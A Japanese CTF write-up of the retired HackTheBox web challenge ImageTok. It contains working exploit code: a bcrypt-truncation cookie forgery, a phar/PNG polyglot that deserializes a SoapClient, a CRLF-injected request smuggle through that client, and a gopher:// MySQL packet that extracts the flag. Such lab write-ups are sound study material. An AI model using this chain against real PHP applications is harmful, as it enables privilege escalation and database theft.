ImageTok
HTBのWeb challengeで特に難しかった問題。
解きながら書いてたメモを発掘して、確認したらリタイアしてたので供養します。
writeup
entrypoint.shを見ると、DBの関係ないテーブルにflagが入っている。SQLiだろうか。
phpからSQLを呼び出している箇所を探してみたところ、 UserModel.phpとFileModel.phpにあった。
$files = $this->database->query('SELECT file_name FROM files WHERE username = ? ORDER BY created_at DESC LIMIT 5', [ 's' => [$this->user] ]); --- $this->database->query('INSERT INTO files(file_name, checksum, username) VALUES(?,?,?)', [ 's' => [$file_name, $this->getCheckSum(), $username] ]);
プレースホルダを使っているのでSQLiは無理そう。 他のアプローチを考える。
index.phpを見ると、/info や/proxy 等のURLを見つけた。 infoは phpinfo(); のみだったので、/proxy を読んでいく。
if ($session->read('username') != 'admin' || $_SERVER['REMOTE_ADDR'] != '127.0.0.1') { $router->abort(401); }
proxyはadminユーザが127.0.0.1からしか使えないようだ。SSRFだろうか。
if (!empty($scheme) && !preg_match('/^http?$/i', $scheme) || !empty($host) && !in_array($host, ['uploads.imagetok.htb', 'admin.imagetok.htb']) || !empty($port) && !in_array($port, ['80', '8080', '443'])) { $router->abort(400); }
上記の条件を突破したらcurlされるっぽい。
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$exec = curl_exec($ch);
if (!$exec) $router->abort(500);
他の機能でSSRFやadminへの権限昇格が狙えないか探していると、session管理を自分で実装しているのを発見。
$json = $this->toJson();
$jsonb64 = base64_encode($json);
$signature = base64_encode(password_hash(SECRET.$json, PASSWORD_BCRYPT));
setcookie('PHPSESSID', "${jsonb64}.${signature}", time()+60*60*24, '/');
base64({"files":[{"file_name":"c5694.png"}],"username":"617607c89beaf"}).${signature}
のような形式。
画像はアップロードするたびに増えていく。
署名のチェックは以下のような感じ。
$split = explode('.', $_COOKIE['PHPSESSID']);
$data = base64_decode($split[0]);
$signature = base64_decode($split[1]);
if (password_verify(SECRET.$data, $signature))
{
$this->data = json_decode($data, true);
}
一応SECRETを確認したが、さすがにランダムだった。62**15パターン。「ブルートフォースで時間を無駄にするな」とコメントもある。
SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 15 | head -n 1)
phpのドキュメントでpassword_hashを調べていると、怪しい一文を見つけた。
PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 文字までに切り詰められます。
signature作成時にPASSWORD_BCRYPTを指定している。 これはつまり、json部分の73文字以降はsignatureに含まれないということだろう。
5枚程画像をアップロードして十分にCookieを長くした後、usernameをadminに書き換える。 usernameはjsonの一番最後にあるのでそのまま書き換えればok。 base64とurlエンコードをよしなにしてCookieを書き換えてアクセスすると、無事adminになることができた。
あとは127.0.0.1のフィルターをバイパスできれば良いのだが、わからない。 IP偽装できそうなところを探すも、全然わからないのでwriteupにお世話になった。
pharとかいうものが使えるらしい。
phar exploit
とかでググるとデシリアライズで問題が起きやすそうな雰囲気。
phar: PHP Archive. javaのjarと似たようなもので、複数ファイルをまとめたアーカイブファイル
ImageModel.phpを見ると、__destruct()が定義されていた。
pharを実行させたくても、pngしかアップロードできないので一工夫が必要そう。
方法としては以下があるらしい
この後、SoapClientでSSRFをし、CRLFインジェクションでリクエストを自在に操り、Content-Lengthを操作してHTTP Smugglingをしてる。 gopherプロトコル等も使っていて、全然理解が追いつかないのでとりあえずSoapClientでSSRFを目標にやってみる。
<?php class ImageModel { public $file; public function __construct($file) { $this->file = $file; } public function __destruct() { $this->file->getFileName(); } } $obj = new ImageModel(new SoapClient(null, array( 'uri' => 'aaa', 'location' => 'http://127.0.0.1/proxy' ))); $png_data = fread(fopen('image.png', 'rb'), filesize('image.png')); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub($png_data . ' __HALT_COMPILER(); ? >'); $phar->setMetadata($obj); $phar->stopBuffering(); rename('exploit.phar', 'exploit.png'); echo serialize($obj) . "\n";
120x120以上のimage.pngを用意して実行、実行時にはローカルでcurlが実行される。
$this->file->getFileName();
の行をコメントアウトしたら実行されなかったので、デシリアライズでうまくいってそう。
そのままexploit.pngをアップロードし、http://localhost:1337/image/phar:%2F%2F157ff.png にアクセスすると実行された。
$router->new('GET', '/image/{param}', 'ImageController@show');
/image/{param}
なのでparamはユーザが指定できる。 FileModel.phpを見ると、file_get_contents($this->file_name);
のようにしている。 ここでfile_nameはparamなので、phar://157ff.png
。phar://
で開こうとしたので実行されるという流れ。
実行されたときのログは以下。
127.0.0.1 - 403 "POST /proxy HTTP/1.1" "-" "PHP-SOAP/7.4.25" 2021/10/25 08:41:09 [info] 90#90: *243 client 127.0.0.1 closed keepalive connection 2021/10/25 08:41:09 [error] 90#90: *241 FastCGI sent in stderr: "PHP message: PHP Warning: mime_content_type(phar://d8148.png): failed to open stream: phar error: file "" in phar "d8148.png" cannot be empty in /www/models/ImageModel.php on line 16PHP message: PHP Warning: SoapClient::__doRequest(): supplied argument is not a valid Stream-Context resource in /www/models/ImageModel.php on line 40PHP message: PHP Fatal error: Uncaught SoapFault exception: [HTTP] Forbidden in /www/models/ImageModel.php:40 Stack trace: #0 [internal function]: SoapClient->__doRequest() #1 /www/models/ImageModel.php(40): SoapClient->__call() #2 [internal function]: ImageModel->__destruct() #3 {main} thrown in /www/models/ImageModel.php on line 40" while reading response header from upstream, client: 172.17.0.1, server: _, request: "GET /image/phar:%2F%2Fd8148.png HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm.sock:", host: "localhost:1337" 172.17.0.1 - 500 "GET /image/phar:%2F%2Fd8148.png HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"
/proxyにアクセスはできているが、403になっている。序盤に見た条件をバイパスしなきゃいけないかと思ったが、ピックアップしたif文二つでは400か401が返るはずだ。 grepで探してみると、nginx.confに403があった。
$ grep -rwn 403 . ./config/nginx.conf:38: return 403; ./config/nginx.conf:42: return 403;
関係ありそうな範囲をピックアップ。
set $proxy ""; if ($request_uri ~ ^/proxy) { set $proxy "R"; } if ($http_host != "admin.imagetok.htb") { set $proxy "${proxy}H"; } if ($proxy = "RH") { return 403; } location /uploads { return 403; }
この辺の条件に引っかかって403が返っているようだ。
"RH" みたいにしてるのはnginxでANDを実装する常套手段?
リクエストのhostヘッダがadmin.imagetok.htbでなければいけないが、 以下の様にしてもadmin.imagetok.htbは別に127.0.0.1に解決されるわけでもないのでうまくいかない。
$obj = new ImageModel(new SoapClient(null, array( 'uri' => 'aaa', 'location' => 'http://admin.imagetok.htb/proxy' )));
どうにかして127.0.0.1に向けてHostがadmin.imagetok.htbになっているリクエストを送ろうと考えた時に、Request Smugglingが使える。 user_agentにCRLFを入れるとリクエストが自由に操作できるようなので、 1つめのリクエストは127.0.0.1に、2つめのはHost: admin.imagetok.htbにして送信する。 Cookieはadminのものを用意した。
$body = "url=" . urlencode("http://uploads.imagetok.htb/"); $obj = new ImageModel(new SoapClient(null, array( 'uri' => 'aaa', 'location' => 'http://127.0.0.1/upload', 'user_agent' => "soap\r\nContent-Length: 0\r\n\r\n" . "POST /proxy HTTP/1.1\r\n" . "Host: admin.imagetok.htb\r\n" . "Connection: Close\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Cookie: PHPSESSID=eyJmaWxlcyI6W10sInVzZXJuYW1lIjoiYWRtaW4ifQ%3D%3D.JDJ5JDEwJGpWRWVlTnZxTVBPU0JzTnpwNHBkN2Vzdy9QUjhMejRyVUlFTkEyS0lCejNPbUJidFhCTFV1" . ";\r\n" . "Content-Length: " . (string)strlen($body) . "\r\n" . "\r\n" . $body )));
/proxyのレスポンスは500。curlが失敗したときに500が変えるようなので、curlは実行された。
$exec = curl_exec($ch);
if (!$exec) $router->abort(500);
urlのスキーマチェックは !preg_match('/^http?$/i', $scheme)
となっているので、"http"もしくは""(空文字)で突破できる。
ここで http:///...
というURLをパースすると $scheme は空になる。
/tmp # php -r 'print(parse_url("http://hoge.com", PHP_URL_SCHEME) . "\n" );' http /tmp # php -r 'print(parse_url("http:///hoge.com", PHP_URL_SCHEME) . "\n" );' /tmp #
これを利用するとhttp以外のプロトコルが利用できるので、gopherを使う。
/infoからphpinfoが見れることがわかってるので、ユーザ名とDB名がわかる。 entrypoint.shからテーブルの構造もわかるので、それを参考にSQLを書く。
SQLはfilesテーブルにadminのファイルとしてflagが名前のファイルを作成させるようにする。 こうすることでadminでログインしたときにCookieのファイル一覧にflagがでてくるはずだ。
user : user_YPG0f db : db_KbwkI sql : insert into db_KbwkI.files(file_name, checksum, username) values((select flag from db_KbwkI.definitely_not_a_flag), "hoge", "admin");
最終的なリクエストは以下のようなかんじ。
$body = "url=" . urlencode("gopher:///127.0.0.1:3306/_%a9%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%73%65%72%5f%59%50%47%30%66%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%83%00%00%00%03%69%6e%73%65%72%74%20%69%6e%74%6f%20%64%62%5f%4b%62%77%6b%49%2e%66%69%6c%65%73%28%66%69%6c%65%5f%6e%61%6d%65%2c%20%63%68%65%63%6b%73%75%6d%2c%20%75%73%65%72%6e%61%6d%65%29%20%76%61%6c%75%65%73%28%28%73%65%6c%65%63%74%20%66%6c%61%67%20%66%72%6f%6d%20%64%62%5f%4b%62%77%6b%49%2e%64%65%66%69%6e%69%74%65%6c%79%5f%6e%6f%74%5f%61%5f%66%6c%61%67%29%2c%20%22%31%22%2c%20%22%61%64%6d%69%6e%22%29%3b%01%00%00%00%01"); $obj = new ImageModel(new SoapClient(null, array( 'uri' => 'aaa', 'location' => 'http://127.0.0.1/upload', 'user_agent' => "soap\r\nContent-Length: 0\r\n\r\n" . "POST /proxy HTTP/1.1\r\n" . "Host: admin.imagetok.htb\r\n" . "Connection: Close\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Cookie: PHPSESSID=eyJmaWxlcyI6W10sInVzZXJuYW1lIjoiYWRtaW4ifQ%3D%3D.JDJ5JDEwJGpoVjlnWGVuemxWMVZDTmN3RkZhYi5MNFNMWE5HRDIwTFJrLkJuRGVVaFpDWGJxOGQyRnoy" . ";\r\n" . "Content-Length: " . (string)strlen($body) . "\r\n" . "\r\n" . $body . "\r\n\r\n" )));
これで作成されたpng(phar)ファイルをアップロードし、/image/phar:%2f%2f[ファイル名].png
にアクセス、
adminとしてアクセスしたらCookieにflagがあるのでクリア。